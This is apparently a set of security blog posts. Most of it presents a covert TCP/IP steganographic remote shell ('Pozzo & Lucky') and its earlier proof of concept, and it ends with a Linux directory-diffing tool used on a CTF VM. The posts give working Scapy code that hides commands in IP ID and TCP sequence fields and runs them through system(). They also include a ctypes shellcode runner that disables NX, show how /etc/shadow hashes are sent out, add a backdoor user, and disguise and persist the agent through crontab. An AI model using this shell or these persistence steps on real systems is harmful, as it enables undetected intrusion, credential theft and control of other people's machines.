Pozzo & Lucky, The phantom Shell. Stego in TCP/IP (part-2)

Some Steganography Theory Basics

In the last post (Teaching an Old Dog (not that new) Tricks), there has been some fuzz about steganography. So before we continue to part-2 let’s have a little talk about what really goes on with stego.

Stego has 2 categories:

  • We can write steganographically a Shakespeare play in an image with a number of zebras and be sure none will notice, because searching the LSB of every byte of every pixel is no sane action for anyone viewing an image. But this doesn’t mean that if you look there you won’t find the play. This type of stego is the “Hidden in plain site” stego. The whole part-1, where we pass plain data around by encapsulating it in TCP/IP headers, falls under this category.
  • The second category (the one that the above Tanenbaum example really falls under) is a lot better. It uses encryption to make sure that even if you turn the image inside-out you won’t see a trace of the Shakespeare play without knowing a certain secret (key?).

The other meaningful clarification is why it is superb to use Stego over Encryption, given that none really can read you in both techniques. The difference lies on that if you use encryption, while none can understand what you are saying (beside the authorized listener), everyone can tell that you and the listener have a communication channel, and also that you might be talking about something confidential (that has to be the reason why you are using encryption). If you use stego none can see the communication channel. So you aren’t publicly announcing that you are communicating. A communication channel that none can imagine is a covert channel.

The bad news is that stego most of the time leaves traces. And some times very self-explanatory ones. For example, LSB stego in images creates a high number of color variations that easily can be almost a proof of steganography usage. Or, in my TCP/IP stego in part-1, pushing ASCII bytes only in random fields significantly lowers the entropy of the field data, showing a communication channel possibility, or even the communication itself, to a forensics performer. And uncovering the covert channel of a Stego just downgrades it to plain Encryption.


And now for something completely different!

Pozzo & Lucky

Pozzo & Lucky are 2 key characters in “Waiting for Godot“. This is a Samuel Becket play, maybe the most known Samuel Becket play, and my favorite one. You can read all of it here: Act-1, Act-2 (there are just 2 acts).

Lucky is a servant with no beliefs, opinions or even thoughts of his own. He blindly obeys Pozzo, who is dragging him all over with a dog collar. He dances or even thinks whenever Pozzo commands.

In the play we have no idea why Lucky is so pathetic and lets Pozzo do all kind of nasty stuff to him. There must be a covert channel between them…

But, beside character names of an irrelevant play, Pozzo & Lucky is one personal project. A project that started with a bet. “Can there exist a Remote Command Execution shell that no network device can detect and leaves no network trace?“. I bet it can…

Well, I won my bet. This shell exists and is named Pozzo & Lucky


The Idea

The idea is almost close to the part-1 idea, except as hardcore as it gets. We are passing commands through IP identification and TCP sequence (ISN) fields. But, this time, we do it right…

The Pozzo & Lucky shell consists of 2 components. Lucky, which has to be installed (actually just run) on the target machine and Pozzo which is used to control the target machine after Lucky is installed in it.

The Features

  • Complete OS command execution (with and without output)
  • Remote on-the-fly Shellcode Execution (paste and BOOM)
  • File Upload/Download
  • Complete immunity to .pcap file analysis, Firewall log analysis and generally analysis without OS forensics from the target machine
  • Capability to simulate an nmap -sS port scan or any kind of SYN scan, or SYN flood to specific (or given) Destination Port(s)
  • Works (or has to work) on Windows and Linux.
  • Creates no connections. Every single packet in the same “conversation” can be send from different Source IP and to different Destination Port.

Some Drawbacks

  • Painfully slow! (Bandwidth is 5 bytes/packet, so be patient)
  • As a process it has no capabilities to hide itself or get persistent. It has to be paired with a rootkit for that.
  • Proxies kill it (while they don’t detect it). It has to work through port-forwards though.
  • Has dependencies… Scapy on Linux and Scapy with Winpcap on Windows. Both may be mitigated with a PyInstallerpy2exenuitka session (except maybe the damn .dll).


  • Needs root/admin privileges to get installed on the target machine (due to packet crafting and sniffing needs).
  • Needs Pozzo to be in the same subnet with Lucky (this could be the whole Internet – 2 hosts with public IPs), or at least Pozzo to have a direct TCP port route to Lucky (Lucky behind a Firewall with portforwarded just TCP port 21, would work if Pozzo sends packets to <Firewall_IP>:21.
  • Pozzo shouldn’t be behind a NAT. That is because the Source Port of the outgoing Pozzo packets is meaningful to Lucky, and NAT changes this field (as it translates it to another Source Port before forwarding with the Gateway’s IP).


The Concept

The target machine runs Lucky, which is basically a packet sniffer. It gets all packets arriving to the machine, and decides which of them are created by the computer running Pozzo using an algorithm described in the section “Problem Solving“.

The crucial part is that those packets do not establish connections in the target (neither TCP nor “UDP”). They are TCP SYN packets that do not abuse the TCP protocol in any way, so they pass through protocol sanity checks (performed by security devices and packet inspectors). They also are useful packets, that cannot be generally blocked in a network (unlike ICMP), as this action will render the network useless (no connections will be allowed in a network that blocks SYN packets, so no SQL, web applications, FTP, etc – you get my point…).

The fishy things with those “Pozzo packets” is that they deliver 6 bytes of data through IP identification field and TCP Sequense Number field (2 bytes + 4 bytes), in a strongly encrypted form. When Lucky encounters such a packet it extracts the 6-byte payload, splits it in a 1+5 byte form, where the first byte is an Opcode for the command to run with the next 5 bytes.

It then generates a RST-ACK packet, that doesn’t violate the TCP protocol too, and injects (encrypted as well) the response of the command executed on the target, sending it back to Pozzo.

That SYN-RST ping-pong resembles a Port Scan a lot more than a Remote Command Execution, so it doesn’t get blocked by IDS/IPS, as there are no signatures due to encryption (and they rarely look at layer 3-4 headers). A really well configured firewall device, with a configuration aware of each host usage (this is an SSH Server – allow just 22) may mitigate Pozzo & Lucky, but I haven’t seen a lot of them!


Problem Solving

Some problems have risen from part-1. Here I explain how I tackled them.

Surpassing the entropy problem

The problem with entropy is that when we could use any of the 256 bytes in every byte place in a random field, we just use a byte from the printable ASCII list, while generally excluding the Upper Case letters and numbers. This made the random fields contain very predictable data, thous lowering the data entropy.

The solution to this is Encryption. But we need a cipher with 6 byte blocks, or a stream cipher. And most of all, we need to do it with style… So I managed a custom One Time Pad  Scheme based on plain XOR and SHA512. A simple one, that doesn’t lack style at all!

The OTP Scheme

You get a passphrase, SHA512 it and get a key. With this key we XOR data, 6 bytes of data. The XORed data is securely encrypted as the key is a one-way function of the passphrase, which is our secret. To encrypt the next 6-byte chunk, we SHA512 the current key and reXOR. This way we never XOR with the same key, which eliminates the possibility of “cryptanalysis” using the known-plaintext technique. We also eliminate the possibility of prediction of the next keys, as even if we encrypt all the time the same 6 bytes (say “ls -la”), the key portion that can be retrieved each time is 6 bytes. With 6 bytes we lack enough information to produce the next key, as a whole key is of 512bits (64 bytes) long.

Plus, this way, by having the possibility to XOR with any possible byte (SHA512 returns a byte sequence containing all kinds of bytes) we get encrypted bytes in the whole 256 byte-range. And with even possibility each one… This means Entropy close to 1. This means data seemingly random.


Surpassing the Identity Problem

Who is your master?“. An RCE shell has to know how to answer this question. You can run commands remotely, that’s a good thing, but you MUST be the only one that can do that. The shell must identify your packets from packets of others. And to enclose an IP check in the shell agent program you have to hardcode your IP or a domain in it. You got caught just by thinking of it, unless you use techniques used in Exploit-Kits, like rapidly changing sub-domain names, and other things that lack style, and get caught and analyzed eventually!

Last time (part-1, if you haven’t read it by now, do me a favor…) we forgot about a field we can control in TCP and none cares in a port scan. The Source Port. “OK, you will think, let the packet come from port xxxx and then this is a packet to decrypt and execute“. Well, yes, but it lacks style too. So here goes:

Solving the “Who is your master?” problem

The thought of Source Port checking is correct up to a certain point. There is just a big catch. It is implemented as easily as it is observed by an analyst. If you get a .pcap file, with all kinds of Destination Ports and one Source Port (even with multiple Source IPs) you might suspect something.

  • Why a port scanner need to allocate port 23456 in multiple systems?
  • Is it hardcoded to do so?
  • Do you know any such port scanner?
  • Is it a common behavior?
  • Googling port 23456 returns nothing.

So there is something fishy going on.

In Pozzo & Lucky, we check the Source Port of the packets, but we don’t expect it to be the same all the time. There is a cycling algorithm for that too, just like the OTP Scheme above (it actually uses it).

A Source Port field contains 2 bytes. So 4 hex digits. We initialize the first (Most Significant) digit depending on a given passphrase (it has to be more that 8 – to always get high ports). Then we SHA512 the passphrase and get the first 3 hex digits of the hash. Concatenating them with the initial hex digit gives as 4 hex digits, or 2 bytes. Then we cycle the hash, by rehashing it and generate the next port.

This technique gives us different port numbers, in a totally unpredictable sequence for someone that doesn’t have the passphrase. Only the agent-program (Lucky) and the client (Pozzo) know the next correct port to communicate and the possibility of a stray packet with the correct Source Port is 1/65536, so quite slim.


Surpassing Inconsistent States (or the Dog Collar)

While slim, the possibility of the agent-program to receive a Correct Source Port stray packet (not created by the client-shell) is existent. If this happens, the agent is going to cycle to the next source port, cycle the encryption key, try to decrypt a packet that contains no stego and get gibberish that is gonna try to execute. A total out-of-control mess.

And it is out-of-control as the client knows nothing about the key cycles happened and will continue to encrypt with keys no longer recognized by the agent and send from a Source Port that the agent no longer hears from.

That means that we lost it. We lost RCE to the pwned machine. We have to re-exploit it and use another post-exploitation tool… But, remember, Pozzo was holding Lucky by a Dog Collar. He was able to reclaim him anytime.

The Dog Collar Implementation

There is of course a safety mechanism to prevent such tragedies. In the OTP Scheme a special Control Key is stored that does not get cycled. There is also a Control Source Port that the agent always accepts packets from and decrypts them with the Control Key. If such a packet contains a special RST payload then the OTP key and the Source Port cycling mechanism both reset.

That means that the whole communication can start from the beginning if jammed, without leaving any unencrypted trace.


A Long Payload is Longer than 5 bytes

There are commands like “find / -name ‘flag’ 2 > /dev/null” that exceed the 5 byte limit (+1 byte the opcode) of a single packet. Those commands should be chunked and delivered in multiple packets. And Lucky has to understand that the “find ” (notice the space – 1 byte!) isn’t the whole command and it has to wait for next packets to arrive.

There is also the case of “head -1 /etc/shadow” (to get just the hash of the root password). This command produces an output that reaches and exceeds 100 bytes. And they have to get delivered back to Pozzo. All of them. And Pozzo has to know when to wait for more output, and when the whole payload is delivered. Also Lucky never sends packets that aren’t responses to packets (remember only RST-ACKs).

The Protocol within a Protocol

If you can use Opcodes, then you can be stateful, and that means that you can know when to wait for more. There are Opcodes that declare that “more is coming, don’t execute just yet“. Opcodes that declare “this data is part of a command“, and Opcodes that declare “this data is the last of command. Execute it now“. It resembles the TCP chunking algorithm just without using data offsets. Ain’t no time and bandwidth for data offsets anyway! The OTP scheme ensures that if a packet is lost no later packet can be decrypted, so no partially executions are possible, and inconsistent states do get resolved.

What about Lucky’s long responses?

Lucky never sends a packet that is not a Response… That means that it has to inform Pozzo that he needs to talk. Then Pozzo starts sending random data (with a “talk” Opcode), only to accept meaningful responses. Lucky also declares when there is nothing left to say. And “the rest is silence” (till the next command).


Shellcode execution kills Lucky

When shellcode is delivered, in Linux is executed with the above ctypes snippet:

    libc = CDLL('libc.so.6')              # Loads libc
    sc = c_char_p(shellcode)              # creates a C string with shellcode
    size = len(shellcode)                 # gets shellcode's length (used later)
    addr = c_void_p(libc.valloc(size))    # allocates bytes of heap memory equal to the shellcode length.
    memmove(addr, sc, size)               # copies shellcode from stack variable(pointer) sc to heap memory that was just allocated
    libc.mprotect(addr, size, 0x7)        # disables NX protection of data memory
    run = cast(addr, CFUNCTYPE(c_void_p)) # casts the pointer to shellcode in heap to a function pointer
    run()                                 # jumps shellcode function pointer - runs the shellcode

Which copies it into heap memory, unlocks the NX protection for this memory chunk and jumps to it. So Lucky stops executing as EIP now points to the shellcode. No return is possible. Lucky will terminate whenever the shellcode terminates…

Just Fork It!

    p = Process(target=run)     # run the shellcode as independent process

instead of plain:


Took me a good to half hour of screen-staring…

In Windows the CreateThread() works as intended. That was a blessing as EIP can’t be tracked in Windows. None is really sure were EIP is in any given time. Not even its developers.


 It’s Show Time!

The Test

Start Lucky

# ./lucky.py mypassphrase

And Lucky starts happily. Uses the passphrase to create the OTPs and waits patiently…

Connect Pozzo

# ./pozzo.py target_ip mypassphrase


A real Infection

cp lucky.py /usr/sbin/X
printf "@reboot /usr/sbin/X --rootless -noreset\n" > /etc/crontab

Remember, the original X executable is located at /usr/bin directory… I personally don’t believe that a Sys Admin would realize that this process is a phony in a plain “ps aux“. Maybe an optimistic 4/10 of Sys Admins would catch this. You need tools to catch this guy, if you aren’t an observant geek!

And the passphrase for this Lucky instance is (yes, you guessed it!) “–rootless” (argv[1]). You can come up with any switch-like passphrase and use it. I know no man alive that knows all the X switches… And there will never be a man that will read X’s man (page)!

(Here we hacked a mind, not a PC. In my humble opinion that’s what “Hacking” is all about)


Passphrases can also be hardcoded in lucky.py, but this lacks style even more! And apart from the style part, strings command will return nothing (in a PyInstaller’d Lucky) if the passphrase is passed as an argument. Hidden in plain site.



Video Mode ON

The OS Shell

Here I run some linux commands in the Pozzo & Lucky while sniffing with tcpdump.


The Shellcode (ASM) Shell

Here I remotely run some shellcode I found online. The connection broke the first time I tried to deliver the shellcode so I restarted Pozzo to force a Reset Packet and get everything working again.

I also demonstrate that Lucky does not die after the shellcode termination by using the OS shell again.

Video Mode OFF


This project is closed-source at the moment as it is a part of a personal research which isn’t finished yet. Generally the whole idea has started to have an academical perspective as there are papers like “Embedding Covert Channels into TCP/IP” (Murdoch & Lewis, 2005) – I told you the idea isn’t new, that have to be cross checked (those guys propose algorithms that bust IP/TCP stego).

Additionally anyone can treat this article as a proposal for a tool and start writing his/her own implementation. My techniques aren’t the best (while full of style), and I am sure that some things can be done better. I learned a lot of things while writing Pozzo & Lucky, don’t lose the opportunity to do the same. And there are things (maybe a lot of things!) to be done! Here are some:

  • Write such a tool in an ASM compilable language (C++ maybe…)! It will be an overkill tool. As there will be no dependencies (and if there are you can always use –static).
  • Use another (innocent looking) protocol. What about ARP. ARPs aren’t blocked unless the Network admin is a madman and has locked ALL switch ports to MACs. And even if this happens, a Gratuitous ARP could be received by everyone in a LAN. I see some potential here…
  • Go for implementations for the pseudo-code given in the above paper. There can be Covert Channel filters. There can be a classification model to provide possibilities about whether a packet contains Stego. I mean, why aren’t there such things around?
  • I would really like to see a PF-Sense plugin for Stego filtering.
  • The list goes on (without me)…


 Part 3?

Sure, thanks for asking!

It will contain my research on detection and mitigation of such techniques. Going for an article targeted to Blue Teams!

There are some handles right now that might get us caught!

The entropy of the TCP Sequence Field is as high as /dev/urandom‘s entropy for the same number of bytes, sure, but what about distributions? The ISNs are created (by Operating Systems) using time as a “seed”, they aren’t entirely random. That means that they inevitably have a distribution. Does Pozzo & Lucky create ISN’s that resemble the same distribution? Most likely NO.

  • Can we determine if a packet stream contains Stego using this info?
  • If Yes, we need many packets (many values to identify the distribution).
  • How many?
  • How much data has to leak before we catch the culprit?

Research Everyone! Next time we aren’t gonna fire up “Scapy” but “Scipy“!
Next time there will be Fuction Curves and Integrals, along with Firewall and IDS logs! I can’t thing of anything better (girlfriends are pretty neat too)!

Keep tuned…

(Holly Cows, everything we can think of exists ! Fitter, for example! That’s why Python is my Business – and Business is good)



To Be Continued…

Teaching an Old Dog (not that new) Tricks. Stego in TCP/IP made easy (part-1)

With “Old Dog” being the TCP/IP protocol stack, and “(not that new) Tricks” being steganography and generally covert channels you can see where this is going…

I know those things aren’t new. Just google “Covert TCP“! They are old as dust (there is even a PoC implementation in C), proven to be working, but for some reason, I don’t see them being applied in pentest projects a lot. Maybe because of their greyish ways and lack of versatile implementation.

Yet, the simplicity of the idea is tempting. We could leak a lot of data using not strictly defined protocol header values. The tools are here (gonna prove it in a second), and the Oh Captain, my Captain has already written the Bible on Networking.


3, 2, 1, Nose Dive…

The IP identification field

The Almighty IPv4 header!
    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   |Version|  IHL  |Type of Service|          Total Length         |
   |         Identification        |Flags|      Fragment Offset    |
   |  Time to Live |    Protocol   |         Header Checksum       |
   |                       Source Address                          |
   |                    Destination Address                        |
   |                    Options                    |    Padding    |

And the RFCDefinition” on “Identification” Field:

  Identification:  16 bits

    An identifying value assigned by the sender to aid in assembling the
    fragments of a datagram.

That’s all. A value that is useful if there is packet fragmentation. If not it just lies there meaningless. The definition could end up with: “Just don’t use the same values all over folks

So IP implementations used the +1 technique. Every new packet leaving a machine would have the ID of the previous packet plus one.

And then this happened! The nmap Idle Scan exploited (more like used) this implementation idea, to produce port scans that were really hard to track. How this can happen is an interesting read. It is a satanic idea, from a notorious networking master.

Implementations changed their ways and started using random values in the IP identification field. This is our chance now!

Random values. The place to start!

If we know that we expect random values in a certain field, we can’t perform any checks in it… Everything is permitted.

For example: The IP identification bytes are “FU” in a packet. Or “GG”, or 2 zero bytes (\x00). We can blame none. It just happened out of luck… This is our starting point!

(Actually there is a catch on this, called entropy. Life is not that easy. More on this on part 2, where we climb this fence too)

Let’s do some hands on! (Scapy and heavy Python is being used, fasten your seatbelts):

Screenshot from 2016-09-12 23-00-01.png
Sender(left) – Receiver(right)

Here we pass the payload “Hello!” (6 bytes) across from sender to receiver by encapsulating it in 3 IP packets’ identification fields (2 bytes each).

The receiver reassembles the identification fields of the packets and recreates the string.

Pretty impressive! And pretty basic. But quite untraceable too. I mean those are the hexdumps of the packets:


If you look closely you can see the “Hello!” bytes, in each packet, in Big Endian (as bytes travel in Big Endian through networks). They are visible and detectable, but none is gonna search for data leakage in the packet’s header. Those packets could be bogus HTTP requests to totally misdirect the analyst.

The problem:

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1956 Aug  2 16:27 /etc/shadow

That’s a file deserving to be leaked. But this size will produce 978 packets, assuming we encapsulate data only in the IP identification field… The keyword here is only


In search for moar Bandwidth…

Looking for more fields the Protocol Definitions do not totally define, or define as random, the ISN is a candidate. TCP that is.

    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   |          Source Port          |       Destination Port        |
   |                        Sequence Number                        |
   |                    Acknowledgment Number                      |
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   |           Checksum            |         Urgent Pointer        |
   |                    Options                    |    Padding    |
   |                             data                              |

The Initial Sequence Number has to be not exactly random, but highly variant for every new connection made (RFC 793, p 27 – here).

To make a long story short, the sequence number field counts how many bytes have been delivered in an A->B connection. But if all connections started with Initials Sequence Number of 0 (as no bytes have traveled through yet), this value would be easy to guess by evil-doers. Guessing this value makes you able to inject packets to an A->B connection altering what is being communicated. Altering an .exe file download from an FTP or web page for example. Scary stuff.

So ISN has been defined to be hard(er) to guess in RFC using a timed algorithm. For us, it is safe to say that ISN is effectively random. And the game begins…

4 more bytes?

Kind of… But with caution. In a TCP connection the sequence numbers aren’t random. Far from it. They count the bytes delivered each way of the connection. The randomness lies to what the first (Initial) Sequence Number will be. So we can have 4 more bytes of “bandwidth” in connection attempts. That is only for the first packet of every potential connection. Successful or Failed. And a place where those packets are being delivered like crazy: Port Scans

So we can make a PC (we have deeply compromised) do a “Port Scan” to us. It will walk like a Port Scan, talk like Port Scan but it will be an exfiltration. A bad one.

Hands on:

Oh, before that, I will use this line in my code:

grep -v '#' /usr/share/nmap/nmap-services | sort -r -k3 | awk  '{print $2}' | cut -d/ -f1 | head -$x

I generally like Bash Kung Fu. This particular line is useful to get the X most common ports from the nmap port usage frequency file. The one it uses with the –top-ports option. We are gonna simulate an nmap port scan… Here we are: Screenshot from 2016-09-14 15-20-51.png

What was leaked here? A password hash! Let’s fire up John The Ripper! And it took just 17 packets.

The .pcap file with the actual packets can be found here. Wireshark friendly and all. Try analyzing it yourself to get the payload with your own methods.

(Also happy to see that scapy has default source port of 20/ftp-data, which, as of SANS504 course, is the most intrusive port for Port Scanning. Wisely made…)


The Complete Change of Mind

Exfiltration is LAME…

I mean, come on… To run scapy on a machine you have to root it. Either for crafting packets, or using 2-layer sniffing. So if you have already rooted a machine you need the most of it. Getting its data is just a small aspect of all the power you have. You need Remote Command Execution. You need the # Shell god-dammit.

But shells (bind/reverse/web) are visible and highly detectable. And they lack style altogether! Let’s make a Covert Shell to conclude part-1.


  • Absolutely connection-less, thous ultimately stealthy in the OS 4-layer sockets.
  • IDS/IPS won’t catch it as they don’t look in packet headers.
  • No useful info will be logged by Firewalls and security devices in the perimeter. Everything will resemble a Port Scan in the eye of the analyst who doesn’t have access to packet capture.


  • Won’t work through proxies (any kind), as they rebuild all packets from scratch.
  • It needs a program to run on the victim.
  • It generally lacks response from commands (the version shown here).


The concept:

We want to run a simple command like:

useradd -p $(openssl passwd -1 covert_password) covert_user

to create a user with password in the remote machine.

The command has to travel covertly to the machine to be executed.

This command has to be chunked to fit in a number of packets. We have to create also a switch, to inform the Listener which is the last packet, as different commands have different lengths.

So we sacrifice a byte from the 6 available bandwidth bytes of a packet to make it a switch.

There is also the idea of padding. If the length of the command divided by 5 (the new bandwidth of a single packet) has a remainder, that means that the last packet will need extra bytes to be filled up. Those bytes are called padding and need to be easily removed or ignored.


The (scapy) code

The Listener Code

from os import system
from struct import pack

payload = ''
while True :
    packet = sniff (iface = 'lo', count = 1) [0]
    packet_payload = ''.join( pack("<HI", packet.id, packet.seq) )
    payload += packet_payload[1:]
    if packet_payload[0] == '\xff' :
    if packet_payload[0] == '\xdd' :
        os.system(payload.replace('\x00', ''))
        print "Run command '%s'" % payload
        payload = ''

Waiting for something longer, aren’t you? So in Python this is 14 lines. Let’s try in English:

In an infinite loop we
fetch the first packet we see and
reassemble the string that has been split in the ID and Sequence Number Fields
We add that string to the payload.
If we see the byte \xff we are fine and continue    # this line is added as a handle for additional functionality
If we see the byte \xdd it means that the packet we got was the last of a command.
We run the command to the shell with system()
Announce our task to make the beta tester happy.
Empty the payload string to make it ready for the next command.
Repeat from the begining

10 lines. And English doesn’t need includes and imports.

The Sender Code

from struct import unpack

def chunker(payload, chunk_size = 5) :
    packetN = (len(payload) / chunk_size)
    if len(payload) % chunk_size > 0 :
        packetN + 1
    payload += '\x00' * ( chunk_size - (len(payload) % chunk_size) )
    packets = []
    payload_chuncks = [payload[x:x + chunk_size] for x in xrange(0, len( payload ), chunk_size) ]
    for i in range( len(payload_chuncks) - 1) :
        ip_id, tcp_isn = unpack("<HI", '\xff' + payload_chuncks[i])
        packet = IP( id = ip_id )/TCP( seq = tcp_isn )
        packets.append( packet )
    ip_id, tcp_isn = unpack("<HI", '\xdd' + payload_chuncks[-1])
    packet = IP( id = ip_id )/TCP( seq = tcp_isn )
    packets.append( packet )
    return packets

while True :
    payload = raw_input("$> ")
    if not payload :
    packets = chunker(payload)
    send(packets, inter = 0.05)

And this is the Sender. As you can see the code works only for localhost and has a lot of limitations. I have been writing a Proof of Concept of a Covert Shell. The full blown one will come in the Part-2

It’s Alive, it’s alive…

Screenshot from 2016-09-14 20-36-55.png
Sender(Left), Receiver(Up-Right), Proof that the Command has been Executed (Down-Right)


The mighty Analyst’s sideScreenshot from 2016-09-14 20-51-28.png

Hmm… The ID and Sequence number are clearly not random on all the packets from this host… I wonder what is going on here…

To Be Continued…

“Know thy Linux” – The Satori Suite

I present you Satori (悟り). A tool for snapshoting and comparing Linux Directory Trees.

   ▄████████    ▄████████     ███      ▄██████▄     ▄████████  ▄█  
  ███    ███   ███    ███ ▀█████████▄ ███    ███   ███    ███ ███  
  ███    █▀    ███    ███    ▀███▀▀██ ███    ███   ███    ███ ███▌ 
  ███          ███    ███     ███   ▀ ███    ███  ▄███▄▄▄▄██▀ ███▌ 
▀███████████ ▀███████████     ███     ███    ███ ▀▀███▀▀▀▀▀   ███▌ 
         ███   ███    ███     ███     ███    ███ ▀███████████ ███  
   ▄█    ███   ███    ███     ███     ███    ███   ███    ███ ███  
 ▄████████▀    ███    █▀     ▄████▀    ▀██████▀    ███    ███ █▀   
                                                   ███    ███ 

First of all, you can find it here: Link (github repo) and it is under the well-known beerware license.

Now, let’s get started:

As in the README.md from the repo:

"Satori" is a Japanese Buddhist term for awakening, "comprehension;
understanding" [...] enlightment. en.wikipedia.org/wiki/Satori

So the tool is named after the spontaneous feeling of absolute knowledge, the spontaneous mindblow, a researcher feels when he/she finally understands what exactly is happening in a system or network!

I first heard that term (more like read it) in Tom Robbins’ book: “Tibetan Peach Pie: A True Account of an Imaginative Life“, where he (the author) felt the Satori while watching the movie : “Shoot the Piano Player“.

The rest of the tool (that is: all except the name) was inspired by the SPSE course I attended this year (and haven’t arranged the exams yet – the “Never do now what you can do later” syndrome).

<Typical paragraph about the course>

I believe it is a great course, and if you are on “Offensive” python and can spare the price (it hurts a bit), just buy it and get the cert. It’s gonna teach you many more things than python. For me, its title should have been “How to be MacGyver using only a PC and Python“. Movin’ on…

</Typical paragraph about the course>


The Satori’s Reason of Existence

I like CTFs. The day I found out that there is something called “Vulnhub” I cried out of joy and got lost in my bedroom for days. Must have lost some weight too. But Ι finally found a general pattern…

Every boot2root VM has a way to get the limited shell and then there is the Privilege Escalation part. There aren’t really many ways to get that limited shell though. Most of the time there is a web page with a glaring (or not so much) exploit or misconfiguration. There are some exception to this (/dev/random: Sleepy) is a great one – no spoils.

So assuming that we have a limited shell, the real game starts. The privesc part is really the heart of it all. Getting other users and the root is a matter of how well someone knows Linux fundamentals, reversing and the whole BOF bandwagon, service defaults, and other details. Most of the time a binary exploit (from exploit-db) does the thing, as the systems are heavily unpatched (as they are outdated) but this is what I name “cheating”, as those VMs are made for educational purposes and apart from cross-compiling binaries there aren’t many things to learn from auto-root exploits.

So how to get root? There is a different scenario every time. But generally there is a misconfiguration that can be exploited badly. A great example of this is the SickOS 1.1 VM. There is something there that can be misused. So where is it?

There is a way to find that little thing that will give you the # prompt. There are tools and cheatsheets that will highlight you some places to look first. An example is rebootuser’s Enumeration cheatsheet. They really do a good job, but they need your prior knowledge of how things “should be” for you to examine how “they are” and what is the exploitable difference.

An example here can be the find command for SUID executables. That is:

find / -perm -4000 2>/dev/null  # the famous "2>/dev/null" omits error output

and the output is :


This is the kind of answer expected from such cheatsheet commands. They return you raw data. Which execs are SUIDs? Here! Those are. Do whatever pleases you with them. You can’t know if su has a backdoor. Or if they are really old (exploitable?) versions (looking at you sudo). Are those the standards? Is there something that shouldn’t be there?

These are the question that Satori tries to answer. Generally speaking, the author of the VM has planted a misconfiguration in the Linux system, that wasn’t there by default. And the only way to find it is to be sure about what IS there and what ISN’T in the original distro installation. This needs some serious experience and knowledge of distro specifications. So if you haven’t been a Linux admin by now (say you are just 20 years old) how possibly can you get this knowledge? Can’t all that knowledge be extracted and used ?

Yes! It can! That’s what Satori does.



Satori has 3-ish tools. It is more like a suite than a single tool. It is under heavy development (so many things can be done better) and is considered 30% alpha / 70% beta, but it works just fine now. It started as a Proof of Concept tool-chain, and now that it really works it needs some major rewrites. The developer’s sweet hell…

The tools are an “Imager”, a “Browser” and a “Differ”. There is also a “Remote” module that is nothing more than a module that runs the “Imager” tool to a remote system.

So, please welcome the stars of the show:


The Satori Imager crawls the whole file system and collects metadata in the whole directory structure. It excludes some directories by default but this is configurable. It finally packs all this data in a tree-structured dedicated format for use with the other Satori tools. The dedicated format is nothing more than serialized (pickled or json’ed) Python dicts compressed with gzip.

The information that gets collected is generally everything a file has except timestamps and inode info. So privilege bits, owner, group, size even a SHA2 hash are included. Optionally the output of file command and even its actual content (for text files) can be collected as well. The Satori images also contain metadata about the system such as user that did the image dump, date of the image dump, system ‘uname -a‘ and more.


Satori Browser is a tool that loads those image files and spawns a custom UNIX-like shell in the underlying File System. The user can freely ‘ls‘, ‘cd‘ and ‘stat‘ all files in the FileSystem image.

The shell’s capabilities depend on the choices made when creating the image, for example: if Satori Imager was configured to dump text content of files then, also, a ‘cat‘ command would be available.

{Satori} sickos@SickOs / $ 
{Satori} sickos@SickOs / $ 
{Satori} sickos@SickOs / $ ls
tmp    bin    sbin    lib    selinux    opt    mnt    etc    vmlinuz    srv    usr    var    lost+found    initrd.img
{Satori} sickos@SickOs / $ cd /etc
{Satori} sickos@SickOs /etc $ stat passwd
    SHA2 : N/A
    group : 0
    privileges : 0100644
    filename : passwd
    owner : 0
    path : /etc
    type : N/A
    size : 1103
{Satori} sickos@SickOs /etc $

and finally :



This tool needs 2 Satori images and finds the differences file by file. It outputs both a log with every changed file and the field that has been changed and a tree that visualizes those changes. The logs are created to be “greppable” (printed to stdout, contain keywords) while the tree is colored to indicate the type of change in every file (and printed to stderr to be unaffected by grep).


Ok, so let’s use it. Let’s root a machine with Satori.

We are gonna use the SickOS 1.1 Vulnhub VM for example of privesc with Satori. It is considered an easy VM, doesn’t need a debugger or sophisticated methods, but it demonstrates perfectly the “out of place” concept that Satori tries to tackle.

Here we go (screenshot mode: ON)

Screenshot from 2016-08-14 20-06-06

We do some magic to get to the SSH shell (this article is not a walkthrough, we need the shell to do the demonstration, walkthroughs are available in Vulnhub).

So hocus pocus SSH shell:

Screenshot from 2016-08-14 20-13-32.png

So this is the time for Satori-Imager through SSH. I present you Satori-Remote:

Screenshot from 2016-08-14 20-25-39.png

It uses the classic user@host argument for the SSH connection, prompts for a password, uses the standard -[q|v|d] verbosity flags and passes everything in the –argument flag to the real Satori-Imager, which will be to also collect all hashes from the remote filesystem. It also prints the remotely executed Satori-Imager’s output in a grey font color.

Screenshot from 2016-08-14 20-29-45.png

We got the Satori Image file! Did I mention how small these files are, comparing to the information they contain?

Ready for the diffing!

Wait… We don’t have any original Satori Image for Ubuntu 12.04 server! A bummer…

Luckily, I have created a repo in Github where I upload Images for heavily used Linux Distros. You can have it all: satori-images. They will be outdated soon, but they work. Configuration files do not change very often.

It just so happens that “satori-images/ubuntu_server/Linux-3.13.0-32-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz” is available.

Now we are ready:

Screenshot from 2016-08-14 20-30-13.png

First goes the Image filename that should be considered “Original“, next the “Dirty” one and finally the full path of the directory that should be diffed. Generally a “/” will do, but the difference tree will be huge (consider system updates, apt’s package folder, all those system files that change silently), so we need to specify a directory that contains most valuable info. “/etc/” that is! We also use quiet mode to omit the banner and “2>/dev/null” to omit the printed tree (for now). We have something like:

./satori-differ.py ../satori-images/ubuntu_server/Linux-3.13.0-32-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz Linux-3.11.0-15-generic-i686-with-Ubuntu-12.04-precise_HASH.jsn.gz /etc/ -q 2>/dev/null


Screenshot from 2016-08-14 20-57-36.png

A mess! What were we thinking? We asked for ALL changes in /etc/ folder. Here we are. We got them… The output is almost 3 pages. The screenshot contains only the last one.

Now let’s start filtering out useless log lines, so we will eventually find the useful info.

